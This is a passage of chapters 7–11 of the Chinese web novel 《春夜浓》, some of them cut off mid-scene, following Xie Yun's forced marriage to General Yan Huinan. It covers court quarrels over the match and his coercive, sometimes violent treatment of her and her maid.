此时的谢韵顾不上自尊不自尊的了,她第一次用哀求的语气求晏回南:“晏将军,不论你信不信我,或者你要怎么处罚我都可以。但请你不要再关飞镜了好不好?他只是个哑巴……” 被剥夺人身自由是一件十分痛苦的事情。 她也不再直呼其名。如今整个京城中没有几个人敢直呼晏回南的名字,之前谢韵还是下意识循着幼时的习惯,但后来发现她若要求情服软,怎么还能这样趾高气昂呢? 晏回南不是滥杀无辜的人,他调查过了,飞镜祖籍是大周人。而且这条狗还算老实,问什么便说什么。他也就没有动杀心。 只是没想到他那么忠心,刚逃出来便来找谢韵了。 谢韵那么骄傲的人,从来不会让自己吃亏的。但是她现在却因为一个与她相处不过几年的哑巴而轻易向他求饶。 晏回南原本平静毫无波澜的心中,升腾起一股莫名的怒火。 “怎么,他是你的情夫吗?你如此维护他?”晏回南上前一步,掐住谢韵的脖颈,将她抵在墙边,“让你做晏夫人,不是让你养别的男人的。” 如果放在以前,谁对谢韵说这样混账的话,她已经一巴掌招呼回去了。甚至在那人都没机会碰到自己的时候,就已经被晏回南吓退了。 但是如今说这话的人,是她从前认为永远不会背叛自己的人。她刚准备抬手,就已经被晏回南预判了她的行动,他一把攥住她的手,言之凿凿道: “别动,谢韵,你老实点我说不定会让那个哑巴少吃点苦。你若是再不老实,明天你就能看到他的尸体了。” - 是夜,夜色浓如墨,曲川苑外。 司文和司武候在苑外,司武自从南谷关一战之后,便一直外出调查押送粮草的后方军队突然遇袭的事。如今刚查到了一点眉目,回来便听说将军要娶妻了。 娶的还是从前把晏将军克制得死死的那位谢小姐。 “哥,将军是被谁逼迫的吗?他怎么会娶谢……小姐?”司武无论如何也想不明白,除了是被逼的之外,没有任何理由,“你说将军是不是上辈子对谢小姐做了什么伤天害理的事情,就跟欠了她似的。” 司文司武跟着晏回南一路厮杀,五年间从无一日宁日,无数次在死亡的边缘徘徊。谢韵聪慧良善,他们知道。但毕竟她和他们之间隔着几十条人命。他们不会将这些年所受的苦尽数归结到谢韵身上,但怨恨是少不了的。 毕竟在他们死里逃生的时候,在大周百姓生灵涂炭的时候,谢青云在大梁扶摇直上。谢韵作为他的女儿,自然是受到了庇护的。 司文叹口气,“是将军自己要求的。” 司武差点把手中的金创药扔出去,“什么?!将军为何要这样做?他难道忘了老侯爷和长公主的在天之灵了吗?将军这样怎么对得起他们?” ……司文看向晏回南的屋子,里面亮着一盏孤灯,落寞孤寂。 “将军此刻应当比我们痛苦百倍。” 晏回南的内心无时无刻不在痛苦挣扎。 司武是个粗人,心直口也快,说话口无遮拦的,他才不管其他的,“将军就应该直接杀了她,先让谢老贼感受感受丧失亲人的滋味,再亲手宰了那老贼,给老侯爷和长公主报仇雪恨。” 刚说完,两人忽然听见屋里传来一阵摔东西的巨响。 “哥,这是怎么了?” 司文却知道是为什么,便制止了司武要进去的冲动。 两人又在外面等到半夜,晏回南才从屋子里出来。 “金创药拿了吗?”他问。 司武不知道这金创药是何用处,司文让他拿来他便拿来了。 晏回南拿到药便径直往外走,却在经过院子门时被旁边枯树伸出来的枝叉勾破了肩头的衣服。 司武忙说:“这枯树还无人处理吗?都多久了,将军每趟回来衣服都被勾破一件。这群老奴婢真是懒到家了。竟然连将军院子都疏于打理成这样!干不了统统拉去砍了。” 说着他干脆利落地抽刀,将那枝叉砍了下来。 司文总说他一个大男人,整天话多得很。但司武无论如何都改不掉,他一生气就忍不住抱怨。 晏回南倒是没管,径直往霜雪苑去了。 到了霜雪苑司武才知道这金创药是拿来做什么用的。 屋子里谢韵身上的针眼统统红肿发炎了,疼得她难以入睡。这府上的人除了新买来的寒真之外,其余无人不痛恨谢韵的,连个使唤的人都没有。 谢韵这个小姐当得名不副实,身上一点银钱都没有。只能靠着寒真的一点月银去买最差的药膏。谢韵从大理寺出来,身上带的好药膏全被收缴了。 “寒真,后肩我擦不到,你再帮我擦点。疼死了。”谢韵的胳膊全都肿了,弯曲手臂时整条手臂都在疼。 她们扎的时候选用的是最 7. 故人旧约结新婚(4) 《春夜浓》全本免费阅读 五月,谢韵与晏回南的婚期如期而至。但迎娶正妻该有的仪式一样都没有。 她在京城没有家,她与晏回南都没有父亲,无父母之命媒妁之言。虽是皇帝指婚,可皇帝恨不得杀了她,更不会有什么祝福。没有迎亲仪仗,没有宴请宾客。 成亲的那日,如同她和晏回南重逢时一样,这里的雨不似江南的濛濛细雨,下起来便如同天塌了一个角,雨水进入往下倒。 谢韵穿着新制的婚服,从霜雪苑走到了曲川苑,水沾湿了一身,然后穿着潮湿寒凉的大红婚服从天亮等到了天黑。 阖府上下都在看她这个正头夫人的笑话。 朝中那些想与晏回南这位位高权重的镇国大将军结亲的人,消息倒是走得快。人人皆知晏回南拒了公主,而娶了仇人之女。 口耳相传之间,朝中官员人尽皆知。无数人上奏反对这门亲事,皆上书要立即赐死谢韵。 大家都当她会是下一个通敌叛国的叛徒。 晏回南却对这些口诛笔伐、流言、嘲讽统统视而不见。 成亲当日,晏回南如同往常一般上朝。朝堂上为此吵得不可开交。纵使是皇帝也实在难以堵上悠悠众口。 谏议大夫韩济年过七旬,是三朝元老,他对于晏回南大逆不道的行为激愤不已:“晏将军,你别以为你仗着自己战功显赫便可为所欲为!皇上,谢青云当初卖国求荣,险些害得大周覆国。他是大周世世代代的罪人,他的女儿亦是!如今战乱频发,民不聊生皆是谢家人之过,谢家人万死也不足惜。若是让人知晓,大名鼎鼎的晏大将军竟然娶罪臣之女为正妻,岂不是让天下人耻笑与唾骂?!依老臣之见,应当立即处死谢韵。哼!免得她继续魅惑晏将军。” 韩济从前就瞧不上晏回南,认为他仗着命贵,纨绔放肆,毫无规矩可言。对于幼年晏回南便痴迷于谢韵的事情也有所耳闻,对此他嗤之以鼻,但毕竟是晏侯爷和长公主的家事,他不便开口。 况且后来的晏回南,的确是力挽狂澜,拼死拯救大周于水火之中。他才对晏回南高看一眼,只是想不到最后还是绕不开谢韵这道劫数。 韩济坚信,谢韵是妖女,一定给晏回南下了蛊。 谏院有旁人附和:“晏将军,你这样如何对得起你父母的在天之灵?晏侯爷一生刚正不阿,长公主仁德爱民,若是她们知道自己的亲生儿子将父母的血海深仇抛诸脑后,娶了仇人之女,想必九泉之下也不能安息吧。” 他们明知老侯爷和长公主是晏回南的禁忌,此时此刻更是不能轻易提起。但这群人毫不忌讳,只是因为晏回南的父亲远在边关新战死,晏氏一族却被处死,之后长公主也含恨而终之后,同样毫无顾忌地唾骂过苟活于世的晏回南。 而晏回南这几年拼死拼活守护大周,表面上风光无限,这群人背地里哪一个没把他当做战斗机器在使。 简而言之:既要又要。 没了晏回南他们是一群丧家之犬,舍不得放弃晏回南的同时,又要用各种肮脏的手段折断他的羽翼,将他彻底驯养成大周的忠犬。 晏回南早就厌恶了这群人丑陋的嘴脸,只不过大周是他的父辈誓死守护的土地,也是生养他母亲的地方。 晏回南十分不悦地高声打断这群人的话:“大人,你是如何知道我父母在九泉之下不得安息的?你难道下去见过?” “这……自然没有。”那人本只是在众人都在声讨晏回南的时候,才敢壮着胆子也跟着批判了一嘴,谁知偏被晏回南这罗刹直愣愣地盯着了。他甚至不敢看向晏回南此刻黑到极点的眼睛,那双眼睛无数次直视死亡,仿佛能直接杀人。 但此时此刻满朝文武都是站在他这一边的,他有什么可怕的!便又接着说:“那你放肆无度,有违孝道,这是有目共睹的!长公主若还活着,定不会允许你迎娶谢韵!” 晏回南冷笑一声,“是吗?但我母亲当年死之前,她曾独自上朝为我父亲洗脱罪名,那时你在哪?” 晏回南:“那时你是不是也这般义正言辞地对我母亲说,晏侯爷罪不容诛,死得其所啊?” 他自然知道那时这位年轻的官员尚且不是官员,但他这话是在提醒大殿之上所有见证过当初晏氏一族覆灭,而无动于衷的人。自然也包括皇帝在内,下令诛杀全族的人正是先帝。 晏回南从前恶劣,无法无天,多年为大周浴血奋战,但不代表他全然改了心性,也不代表他忘却了过去之事。 谁有罪,谁清白,他一笔一笔都记得清楚。 此话一出,仍有一些不明就里的人想要出言讨伐,但一道惊雷仿佛正落在大殿金顶之上。 久不上朝的誉王宋和昶今日突然开口,他是晏回南的舅舅,也是皇帝的五皇叔。只因幼年时生重病,双腿残疾,终生只能是个废人。 但他天资聪颖,常年辅佐先帝,也是帝师,当今皇上幼年时便由宋和昶教导。如今是朝中最有威望的王爷。若无万分紧急之事,他无需上朝。 他早听闻晏回南要娶妻,作为舅舅,对于外甥想做的事自然是支持的。更何况他为人清明公正,他并不会如旁人一般,简单地将谢青云之过归结到谢韵身上。 “我曾听闻,前朝有一位贪官,贪墨朝廷赈灾饷银赶得上国库一年的全部进款,后前朝明德帝将其治罪,却独独留下他的幼女。只因他那位小女儿自幼作为公主伴读,随公主一同长大。且那位姑娘后被流放期间随隐士高人学了占星之术,后皇帝特赦她随军出征,她的卦象每每必中,助王军一路势如破竹。可见,若是简单因父之过,而祸及子女,那么前朝势必失去一位有杰出功绩的太史令。谢青云虽罪不容诛,但其女未必。我也相信子游做事必有他的道理。” 说完他坚定地看向晏回南,神色上带着令人心安的笑意。后者感激地看向自己的舅舅。 他今天正是猜到晏回南会被人诘难,才拖着残废的身体冒雨前来为他撑腰的。 片刻后,候在殿外的公公忽然神色慌张地跑进来通报,“皇上,刚刚一道惊雷劈落了大殿屋顶的龙状屋脊兽!落下来的石兽砸伤羽林卫统领辛泽。” 众人尚未从惊雷的惊吓当中缓过神来,忽然听此噩耗,全都匆忙跪倒在地。偏偏是在这个时候,这是大大的不祥之兆啊! 皇帝神色大变,“还不快着人去修!钦天监,这是怎么回事?!” 仓促之间钦天监也说不出个所以然来,却也只能硬着头皮说:“此,此乃天雨石,是为不祥。为政者质信不施,王者不顾亲肉,不亲九族,则天雨石。” 皇帝被吓得顿时呆滞在原地。晏回南闻言却不禁笑出来:“质信不施,你是说皇上吗?你可知君无戏言。” 皇帝已经为他与谢韵指婚,但此刻如果因为朝中之人的上书而言而无信,不正中不祥之兆。而不顾亲肉,不亲九族,与他们刚刚正在争论的内容异曲同工。 朝中大臣听闻钦天监之言,都以为是长公主显灵,顿时哑口无言。 钦天监连忙伏跪在地:“臣不敢!” 皇帝也被吓到了,如果他真的阻止晏回南娶谢韵,恐生不虞,现在他就算想杀谢韵也杀不得了。 “朕今日不舒服,镇国将军的婚事朕意已决,不再更改。今后不必再议,退朝!” 退朝后,朝臣悻悻地往宫殿外走,刚出宫门,便被门口陈列的两列军马拦住了去路,为 8. 故人旧约结新婚(5) 《春夜浓》全本免费阅读 穿着被雨水沾湿的衣服在屋子里坐了一整日,临近下午时谢韵便察觉自己应当是要发热了。现在要发热的感觉更加强烈,她已经能感受到冰冷而厚重的婚服之下,是她滚烫的身体。 她的头也逐渐开始发晕,她一整天都被迫坐在这屋子里听外面的暴雨声。 寒真年纪还不如她大,她并不十分懂婚嫁的习俗,只是为了图个喜庆,所以给她找来了许多红枣、桂圆、百合洒在床上。 又为了让她舒服些,在屋子里燃了玉兰花香。 在晏回南没有回来的时间里,她静静地环顾着这间屋子。因为下雨的缘故,屋子里一整天都很昏暗,陈设简单古朴,只是生活的气息实在是太少。 似乎只是用来睡觉的。 但坐在床上的时候,谢韵不由得内心紧张。她从没想过有一天自己会成为晏回南的妻子,她知道妻子意味着什么,也知道为人妇要做什么…… 她若不肯,晏回南会强迫她吧? 如此,她便怀着惴惴不安的心情一直等到了夜半。却等到司文站在门外对自己说:“夫人,天色已晚,请早些安置吧。将军尚有公务要处理。” 谢韵顿时松了口气,她担心的事情暂时不会发生了。但是这件事就像是一道坎,一直悬在心口,不知什么时候就会发作。 也对,晏回南恨透了她,又怎会同她鱼水相欢呢?她白担心一遭。 算了,之后走一步看一步吧。眼下当务之急是想想用什么办法才能让晏回南放了飞镜。 她倒是终于可以换身干燥舒适的衣服了,幸好成婚之后该有的用品没有短了她的。 她已经料到自己今夜会发烧了,所以她让寒真去给自己找些药材来,熬些药喝了之后再睡觉,晚上睡着之后催发寒气自己发出来,明天应当就能好了。 谁知寒真却满面愁容,“将军本就待夫人不好,我就从没听过谁家达官显贵迎娶正妻,是这样一副冷清的场景。这,这简直什么都不是嘛!哪怕是抬个姨娘进来,都要有个轿撵从侧门抬进来的呀!现在将军干脆不回来,往后阖府谁还把夫人放在眼里?只怕是更把夫人当个软柿子,肆意揉捏了。” 寒真越说越生气,越说越替谢韵担忧。她原只是以为晏回南因为太忙才没得空去看受伤的谢韵,可是经过上次那件事之后她才知道,原来其中有着那么深的渊源与纠葛。 谢韵倒是不担心自己会被谁欺负,毕竟她不是好惹的。就算是被欺负了,她也一定会想尽办法报复回去。 她笑着宽慰寒真:“不必担心,你上次也见识过了我的厉害,就算是被欺负了,我也会讨回来的。放心好了。但是你要是再不给我找药材,我一定不是被欺负死,而是病死的。” 寒真听她这么说,赶忙去找药材。她也是近两个月才知道,夫人不仅知书懂礼,还会医术。不论生了什么病,只要找夫人一瞧,她都能给治好。而且跟着夫人,她不仅能学写字,就连药材都已经学会辨认了呢! 她边走边想:夫人如此厉害,一定不会被欺负的。 如此想着,寒真幼小的心灵好受了许多,她现在几乎无条件相信谢韵。更是对之后的日子充满了期待。 谢韵却不如此想,她现在四面楚歌。她不相信晏回南会因为幼年时那点小孩子之间的情分就娶自己,他一定有其他的原因,只是她现在还没想到。 熬煮了药睡着之后,果然夜里她烧得昏昏沉沉。可是因为头太昏沉而一直醒不过来,也分不太清时辰。 只恍惚中感觉身侧多出一道好闻的气味,那味道是雪松一般的冷香,那味道让她由内而外地感到不安。而发热的人更是畏寒,身侧那人带着极重的寒气,谢韵几乎冷得缩成了一团,有一点点寒气她都禁不住剧烈颤抖。 她微睁眼,瞥见外面天色已隐约泛白,似乎是天快亮了。 迷迷糊糊中似乎听到有人在唤她的名字,一直在叫,她的梦中也出现了一个熟悉的身影,她猜测是晏回南,可她无论如何也追不上那人,也醒不过来。 又不知过了许久,她感觉自己没那么冷了,梦中湿冷的雾气尽散,她落入了春天的草地里。温暖明媚,微风拂面,花香飘散。 再醒来时,是退热之后自然转醒。却猛然发现自己正舒服地蜷缩在晏回南的怀中,他的手紧紧地环住她那盈盈一握的腰肢。 她的心口猛得一阵紧张害怕。 他是何时回来的?谢韵在脑海里反复思索,也许昨夜她将醒未醒时,便是晏回南。 只是她从未与人共枕而眠过,更何况眼前是一个男人。她还没来得及适应自己之后的每天都要和这个男人共度。 晏回南此时的呼吸清浅平稳,少了许多之前剑拔弩张的戾气。凑近了看,他的五官深邃,刀刻般的面部轮廓清晰流畅,的确好看得过于出众了。 眼底有着淡淡的乌青,鎏金般的晨光打在他的侧脸上,光线被他高耸的鼻梁折断,带着一种莫名的破碎感。 她竟看得有些入神。他幼年时那般纨绔,却惹得无数京城贵女争相追捧,那是他便有玉树临风之资,现在更甚。 “看这么久。怎么,没见过男人?” 谢韵被这突然的嘲讽吓得一哆嗦,连忙收回目光。 “你放开我。”她嗔怒道,“我见过的男人个个比你好!” 果然!他还是那副恶毒的嘴脸。 晏回南轻嗤一声,毫无留恋甚至有些嫌弃地放开了谢韵。径直掀开薄被下了床。 谢韵气得狠狠瞪回去。 晏回南和她一同用的早膳,因为将军在,所以早膳比之前谢韵吃的都要丰盛许多。 她的口味没变,京城里的食物才是她最喜欢的,反观大梁那些辛辣油腻的食物,她一点吃不来。 谢韵难得吃一顿正常安心的早膳,可晏回南吃得快,吃完又叫她。 “谢韵,知道妻子的本分是什么吗?” 她自然知道,在与楼承定下婚约之后,便有宫中的教习嬷嬷到府上,一条一条地教她应当如何做。 可谢韵学什么都快,偏不爱学这些。她学不来如何伺候男人。 她要学药理,学制造技术,要学的东西太多了。她厌恶将自己变成一个处处要受到限制的女人,妻子。 凭什么他们说了妻子当如何,她便要如何。 即便是将来她做了妻子需要做的那些事,也须得她真心实意要与那人过一辈子日子。一切都须出自她自愿。 她不屑一顾地摇摇头道:“不知。” 但晏回南太熟悉她,熟悉到知道她身上的每一处逆鳞。从前他是顺着她的鳞,现在他却能准确地应对她的逆鳞。 谢韵还在夹菜,却猛得被晏回南一把抱起,他 9. 往事暗沉不可追(1) 《春夜浓》全本免费阅读 晏回南上朝之后,谢韵只觉得深深松了一口气。有他在的时候,她觉得有无数层层叠叠的蝉翼纱压在她身上,难以察觉,却让她呼吸越来越困难。 霜雪苑是将军府上西北角的一处院落,距离曲川苑最远。她也没有闲情逸致跑回旧屋去感怀什么,毕竟在这府里,她没有什么可感怀的。 若是从前的侯府,或是公主府,她倒是有许多如数家珍的记忆。她不否认,那是她鲜有的一段幸福时光。 “司文,飞镜在哪?”谢韵直接问。 司文摇摇头,“夫人,你知道的,属下不会说的。” 谢韵自然知道司文对晏回南有多衷心,所以她只是随口试一试,她之后得另想办法救飞镜出来。 既然她已经落到了晏回南的手中,那么她原先的计划都得暂时推翻了。她也许可以试着和弟弟谢润取得联系。 原以为姐弟两人再也不会相见,但既然现在楼承已经知晓了她被晏回南带走了,那她暂时既不用怕楼承找自己的麻烦,也不用担心晏回南会对谢润不利。 毕竟两国之间仍有一道漫长的国境线,遥遥相隔。 “我想出去逛逛。”谢韵之前被限制在霜雪苑,如今她已成了将军夫人,出门的权限总有吧? 寒真兴致勃勃地道:“我去命人套车。” 司文果然没阻止! 谢韵心里欣喜,她低调些便无人会发现她是晏将军那“名不副实”的倒霉新夫人。她预备去药店里抓些药材回来,闲下来的时间,她可以制些质量好的药膏药粉,再制点小毒防身,都是极好的! 日后若是悄悄在晏回南的饭里下点,或是半夜趁他熟睡,给他下点药,再逼迫他:若是不把飞镜放出来,我便不给你解药,你自己看着办吧! 飞镜也就救出来了!真是很不废吹灰之力嘛! 如此想着,她又重新燃起了新希望。 “夫人,当心!” 她正沉浸在自己的想象当中,司文忽然出声提醒,但终究是晚了一步,谢韵的发髻已经被曲川苑门口的枯树叉勾住了。发髻上的粉彩玉雕兰花步摇也被勾掉了。 谢韵昨日进门时有旁人为她仔细开路,她倒是没注意到这里。 她低头时,玉质步摇已经摔碎了。可惜,她觉得这个步摇是下人备的首饰当中最漂亮的一支。 寒真心疼地蹲下来,心都跟着这个步摇一起碎了一般,愁眉苦脸道:“啊?这碎得拼都拼不回来了。这该死的树叉!” “这树枝把将军的衣服也勾破了好几套,属下刚刚应该早些提醒的。” 谢韵拨开树枝,心态倒好:“无妨,待得空了把这里清理一下,种些其他不碍事的果木。” 只是晏回南从前是个金尊玉贵、养尊处优的贵公子。吃什么做什么都须得是顶顶好的,他挑嘴,不好吃的东西便一点不沾,宫中庖厨所做膳食,他也能挑出毛病来。她小时候总说他这样的幸亏是生得金枝玉叶,不然他就可以去死了。 他从前住的院子也须得是精心修缮、精心养护打理过的,院子里种了许多种果树,一年四季都有得吃,四月的桑葚、五月的樱桃、六月的枇杷、一整个夏天的西瓜…… 现在竟然连衣服被勾破许多件都不曾命人打理。 谢韵看了几眼树,没再说什么,径直出门去了。 出门时刚好撞见丫鬟拿着今日要浣洗的衣物经过,谢韵注意到晏回南昨天的衣服全湿了。 “将军昨夜做什么去了?”若是在宫中或者外面处理公务,怎么会全身都是湿的。而且她发现晏回南昨天的朝服和另一套常服都是湿透的,甚至还在往外滴水。做什么能湿成这样。 谢韵换了种方式问,“我只是想知道,究竟是什么事情能急迫到,让新婚妻子洞房花烛夜独守空房。”说着她还故作姿态地擦了几滴眼泪的样子。 司文从小聪明虽聪明,但谢韵最知道他了,不过是个行事聪明周全的小古板,现在成了一个大古板。但他对于女人那些弯弯绕的小心思,却是一窍不通的。 司文原本还十分为难,支支吾吾地不知不知如何作答,并且打算装死到底,直接忽略谢韵的问题。但谢韵这么一改口,他真看不出谢韵对他主子晏回南持什么心态了。 这全是因为谢韵自幼便是古灵精怪的,晏回南身边这几个贴身的侍卫,无有不被她耍着玩过的。 谢韵见他有所动摇,更加变本加厉:“我知道你们都不拿我当主子看,只不过是不敢违抗你们家将军的意思。但……司文,我不过是一个女子,又能做些什么呢?只不过是想知道新婚夜自己的丈夫去了哪里,万一我刚嫁过来便成了弃妇……我,我还是早些自我了断罢了!省得心里酸苦。” 她这委曲求全的三言两语,漂亮眼睛里滴落的几滴晶莹泪珠,真把浣衣的丫鬟们、寒真和司文全都唬住了,众人皆是满眼的惊诧。 怪道将军即便是冒天下之大不韪也要娶这位夫人,原来是有这一层隐情呢?想不到竟然是谢韵对晏回南情根深种吗? 司文屏退了其余人,犹豫再三,还是决定对谢韵谨言慎行。他宁肯违背夫人的意愿,也不能被骗。谢韵太狡猾了。只好为难地对谢韵说:“……属下,真的不知。” 谢韵:“……” 真是白洒这几滴泪了! 她悻悻地甩了甩袖子,擦干净眼泪上了马车。原本还想打探一下晏回南的行踪,或是掌握一点他现在在做什么事也好啊。万一将来对她有用呢。 司文望着谢韵的背影深深地叹了口气,无奈跟上。满脑子都是昨夜将军冒雨策马去晏氏的祖坟,在雨里跪了整整一夜。 司文被晏回南责令在客栈等他,回来时,晏回南整个人被雨兜头浇透,脸色发白。司文又急又气,“将军,你身上的伤口尚未痊愈,这样折腾,就算是铁人的身体也会吃不消的。” 若是让他随晏回南暴雨夜袭敌军,或是如何拼死厮杀,他都不会有任何犹豫与无用担忧。但将军不能这样这样折腾自己的身体。 晏回南面无表情道:“无妨。” 司文看着他踽踽独行的背影,忽然心生悲痛。这条双亲惨死、却年少封狼居胥的道路,当时年仅13的晏回南辛苦地走了很远,一直走到了今天。 纵使他被淋湿彻底,但他的脊骨依旧笔挺骄傲。他从始至终没有辱没晏氏门楣,他没有辜负任何一个人。唯独太过苛待自己。 司文不知将军究竟为何坚持这样做,但如果将来有一天谢韵背叛将军,司文将会是晏回南最快最不留情面的一柄利刃。 - 依照晏回南的意思,谢韵需在每日午后去祠堂跪一个时辰用来赎罪。 全府上下,只有祠堂是最用心修缮过的,日日香烛不断。 司文下午有事去了军营,但府上处处都是看谢韵不顺眼的公主府旧人。司文虽然不在了,但是晏回南的奶妈在。 “夫人,将军吩咐过了,老奴会一直盯着你的。”晏回南的奶母子是长公主宫中的贴身宫女,当初晏氏遭难,只有长公主和晏回南因为都是皇家人,连带着公主府一众人皆幸免于难。< 10. 往事暗沉不可追(2) 《春夜浓》全本免费阅读 怀绣姑姑听不得谢韵谈论公主,公主待她有恩。她却连公主最后一面都没有见到,她猝一听谢韵提到公主亡故的事,便心生怨恨与愤怒: “若非你谢家,公主怎会求告无门,最后含恨病逝。你竟然还问?” “病逝?”谢韵在思考,因此语气和神色有些过分冷静了。 若公主是病逝,那便说明那一夜,公主真的如她所言,顺利逃脱了刺杀。 若公主真的死在那夜,谢韵一生一世都不会原谅自己。 但谢韵此刻的冷静在怀绣姑姑眼中就是毫无愧疚,她不允许谢韵有这样的心理。谢韵没有资格审视公主的死! 她愤怒地上前用力一推,谢韵被猛地推倒在地,原本就跪着,现在额头重重地磕碰在地上。 怀绣恶狠狠道:“夫人跪着却没有任何思过,看来只是跪着无法让夫人意识到自己的罪过。那便给公主和侯爷磕头吧!一个时辰内,磕够九九八十一下。” 寒真简直怀疑起自己的耳朵! “姑姑,将军可没有说磕这么多下头。你这样是不是太过分了?”寒真听到这个数字,心尖都不禁发颤,替谢韵感到胆寒。 怀绣:“还需将军吩咐得如此细致才知道做吗?即是赎罪,那磕头便是必不可少的。往常祭奠先祖,都须磕头,你怎就磕不得?是你打量自己比谁尊贵吗?” 谢韵淡淡地瞥了一眼怀绣,阻止寒真:“寒真,住口。” 因为是老侯爷和长公主她才磕的。 她本该祭拜,但从前身不由己,如今她愿意补上从前缺的那些。 刚刚那猛得一摔,谢韵的额角擦破了皮,此刻正丝丝渗血。寒真只能拿来帕子,替她细细擦去。 谢韵自幼便比其他女子要强许多,她倔强得甚至有些血性。这点并不能打到她。 纵使是怀绣姑姑毒辣刁钻的眼神,紧紧盯了一个时辰,都不曾从谢韵磕头跪拜的动作中挑出一丝错来。 她只要想做一件事,必定会妥妥帖帖地做到最好。 只是从祠堂出来时,谢韵的额头已经破皮红肿,破了的地方起了血痂,一丁点儿都碰不得。膝盖也肿得跟馒头一般。 她是在寒真的搀扶下,一瘸一拐地走回曲川苑的。其余下人都在一旁看着,无人来搭把手。 寒真气得怒斥:“你们都是死人吗?只会在一旁看着,不知道抬轿椅来吗?” 可她们只恨谢韵被罚得不够惨,怎么可能会上前帮忙? 怀绣姑姑在一旁凉凉道:“夫人尚且能行走,步步走回去才更显诚心呢。” 谢韵忍着疼,她不想在这群人面前示弱,扯出一抹冷笑来:“打量着我不是将军夫人,当家作主的人倒是怀绣姑姑。失敬了。” “不敢,夫人自然是当家人。但若是在长公主和侯爷面前,夫人也要摆谱,失了礼数,想来将军若是知道了,也会怪罪。” 谢韵可不是个喜欢告状的人。枕边风更别提了,她可不要这吹枕边风的机会。 - 回曲川苑的路上,会经过府邸中间的花园,那里有一方人工挖掘的景观湖,湖中有一湖心亭。 她一瘸一拐地走在沿路长了一排迎春花的石板路上时,一抬眼便见到了晏回南和喻霰、李巍三人坐在湖心亭上饮酒相谈。 按理她应当去见个礼。 但现在谢韵膝盖和额头都十分疼,而且她希望自己可以一直都见不到晏回南,这才好呢。 她反而加快了步子离开。 只是她这一加快,疼得她冷汗都出来了。 寒真还不知谢韵是恨晏回南恨得牙痒痒,反而提醒她要去见个礼。 “喻大人和李大人也在,夫人……你别走啊!” 谢韵自然认得出这两人,自幼便是晏回南的死党。他们一位是喻王爷嫡次子,一位是安信伯府庶子。在晏回南纨绔跋扈无度的时候,这二位也不过较之稍收敛一点,但也是京中有名的纨绔了。 “大可不必。”谢韵正在气头上,尽说些气话,“他们太尊贵,我这有罪之人可不兴见。免得污了他们的眼。” “夫人,你这样将军岂不是又有理由罚你了?”寒真追上去搀扶着她。 谢韵知道自己的心性太高,甚至她不得不承认自己这高傲不屈的心性,有一部分是晏回南养出来的。 想到这些,谢韵的心中不免有些心烦意乱。她无法告诉寒真,任何时候都不要屈服。 因为若是幼年时,只是谢家庶女的她,没有晏回南给自己撑腰。她也许会为了活得不痛苦一些,向欺负她的人低头。 但一旦她曾经有过最优选择之后,她便不再甘愿轻易放低自己的姿态了。尽管她知道,自己此刻的倔强的确是有些可笑。 说简单些,她不相信晏回南会真的伤害她。因为过去的记忆仍旧鲜活地存在她的脑海中。 “夫人,将军他们好像看见咱们了。”寒真心里却不像谢韵这样想,她真的担心谢韵会被将军罚。 因为晏回南不动声色的姿态,却给人一种极强的压迫感。另外两位大人的神色也不好看。 寒真心里七上八下的。 谢韵却说:“无事,走吧。” - “你不去看看?新夫人都瘸了。”喻霰向来是三人中最毒舌的一位,比晏回南还要更冷漠无情。 而他这性子的养成,并不难理解。喻霰有位年长他几岁的同胞兄长,他的兄长自幼便是天之骄子一般的人物,喻霰常年生活在自己兄长的光环之下。 并且他们年幼丧母,父亲续弦娶了一位粗鄙贪婪的后母。不久后父亲也撒手人寰,侯府的重担虽未落在喻霰的身上,但他眼见着兄长为了侯府,永失所爱。 这都促使他心性较之同龄人更为成熟复杂些。 但他尊贵的身份让他有极强的话语权。直言快语、冷言冷语都是他。做了大理寺卿几年,说话恶毒犀利这一点更胜从前。 晏回南冷脸抬眼看他一眼,懒得理他。 李巍从小就温润如玉,习惯了做他们之间的和事佬。他笑道:“谢韵这是怎么弄的?” 晏回南:“跪祠堂。” 喻霰本以为晏回南真的狠心,竟然把谢韵往大理寺送,想不到他还是个不争气的,“呦,你不会以为娶她回来跪个祠堂,就算是报仇了?” 晏回南不耐道:“你若不喝酒便滚远些。” “你不该娶她。”喻霰语正色道,“现在朝中知道当年之事的人,都想杀谢韵以儆效尤。偏你要娶她,你可忘了晏侯爷当年是如何平反的?你如今娶了谢韵,你要如何自处?现在已经有人弹劾你勾结叛贼,要反。” 11. 往事暗沉不可追(3) 《春夜浓》全本免费阅读 谢韵思索片刻,声音如渐渐暗下来的微光,“……夫君?” 晏回南满意地握住谢韵的手,她太瘦了,握她的手好似轻松地便能握住她脆弱的骨头,纤细灵巧,指尖末梢露出微长圆润的指甲,晏回南握在手里一点点摩挲着,“这么瘦弱,却这么倔。你是打量我舍不得动你?” 先前如同火烧一般的夕阳,此刻已经收得看不见了,只余微白天光。 下人们卑躬屈膝地进来点灯,一盏、两盏,屋内烛火次第亮起,静可闻针。 可院子里板子打在寒真身上的拍肉声,还有寒真凄厉的呼号声,微弱哭泣的求饶声。 一声一声全鞭挞在谢韵心上,几乎要滴出血来。她几欲咬碎银牙,代寒真挨这些板子。可晏回南不过是拿住了她的把柄,借着寒真敲打她: “太过分了,你太过分了!晏回南,她不过是个尚未及笄的孩子……你快让他们住手!” 谢韵豆大的泪滴落在晏回南握住她的手上。他这时才发觉谢韵急哭了。 可他还是严肃着声音,音色里满是居高临下:“谢韵,你我从前的情分,只够我那天放下长枪,之后的都是我施舍你的,懂了吗?” 谢韵满心屈辱与悔恨,恨的是她太自以为是:“懂了。” 晏回南这才悠悠抬手为她拭去眼泪,“以后记着还。” “嗯。”谢韵此刻无有不应的。她觉得自己午后抱有的那点希望,已经不单单是可笑两字可拿来自嘲的了。 她简直蠢笨至极。她究竟何来的自信,认为晏回南会同从前一般护着她。 “那寒真……” “心疼她?你没有能力护着的时候,要学会对我服软。” “好。”谢韵点头。 “停手吧。”晏回南这才吩咐外面的人。 谢韵刚想一甩手要挣脱晏回南去院子里查看寒真的伤势,可晏回南蛮横无理地不松手,反而抬手紧紧捏着她的下巴,迫使她面对他。 他眼尾一点淡淡的褐点,越看越显他凉薄。他无情地低头吻上她,他这次并不饥渴,而是一副胜券在握、胸有成竹的姿态,明显一副将谢韵牢牢攥在手里的胜者姿态。他一点一点、慢条斯理地咬她的唇。像是胜者在品尝胜利的滋味。 晏回南也略微惊讶于自己的无师自通,他刚一尝到谢韵舌尖的甜便自然而然地想纠缠上去。他想逼她就范。可他明知自己是在向她乞讨这一点甜,他便要营造出自己在施舍的假象。 